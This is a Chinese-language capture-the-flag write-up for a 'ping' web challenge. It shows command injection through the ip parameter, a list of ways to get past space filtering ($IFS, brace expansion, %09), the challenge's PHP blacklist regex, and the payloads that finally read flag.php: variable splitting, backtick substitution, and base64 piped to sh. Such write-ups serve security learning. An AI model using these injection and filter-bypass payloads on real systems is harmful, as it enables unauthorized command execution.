题目
解题过程
1、题目页面提示?ip=,猜测是让我们把这个当做变量上传参数,由此猜想是命令注入
2、用管道符加上linux常用命令ls(windwos可以尝试dir)试试
所谓管道符(linux)的解释与用法如下:
尝试命令:
?ip=127.0.0.1;ls
看到flag.PHP,那就使用cat flag.PHP命令尝试读取
?ip=127.0.0.1;cat flag.PHP
被过滤了空格,过滤空格的方法如下:
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
<
<>
{cat,flag.PHP} //用逗号实现了空格功能
%20
%09
尝试命令1:
?ip=127.0.0.1;cat$IFS$1flag.PHP
还是被过滤了
查看一下index.PHP,查看一下过滤机制,命令如下:
?ip=127.0.0.1;cat$IFS$1index.PHP
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
这些是正则匹配的过滤方式,好像过滤了很多命令
1、利用*匹配任意不行
?id=127.0.0.1;cat$IFS$1fl*
被过滤了
2、尝试base64绕过
?ip=127.0.0.1;echo$IFS$1“Y2F0IGZsYWcucGhw”|$IFS$1base64$IFS$1-d$IFS$1|$IFS$1bash
还是不行
3、尝试ca\t$IFS$1fl\ag.PHP
?ip=127.0.0.1;ca\t$IFS$1fl\ag.PHP
被过滤了
4、尝试cat fl’'ag.PHP
?ip=127.0.0.1;cat$IFS$1fl’'ag.PHP
还是被过滤了
5、构造一个$a变量,尝试a=g;cat$IFS$1fla$a.PHP
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.PHP
成功,可以在注释里找到flag
6、使用 $IFS$9绕过空格,配合「反引号」的高优先级特性查看 flag.PHP 文件(将ls的结果当成cat的参数,那样就不用出现flag这个参数了)
?ip=127.0.0.1;cat$IFS$9`ls`
成功,可以在注释里找到flag
7、base64绕过时bash被过滤了,尝试用sh代替
?ip=127.0.0.1;echo$IFS$1“Y2F0IGZsYWcucGhw”|$IFS$1base64$IFS$1-d$IFS$1|$IFS$1sh
成功,可以在注释里找到flag
总结
以上就是我对这道题的解法。因本人菜鸡一只,如果有什么不对的地方,实属正常。还请各位大佬予以指正,谢谢!
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 [email protected] 举报,一经查实,本站将立刻删除。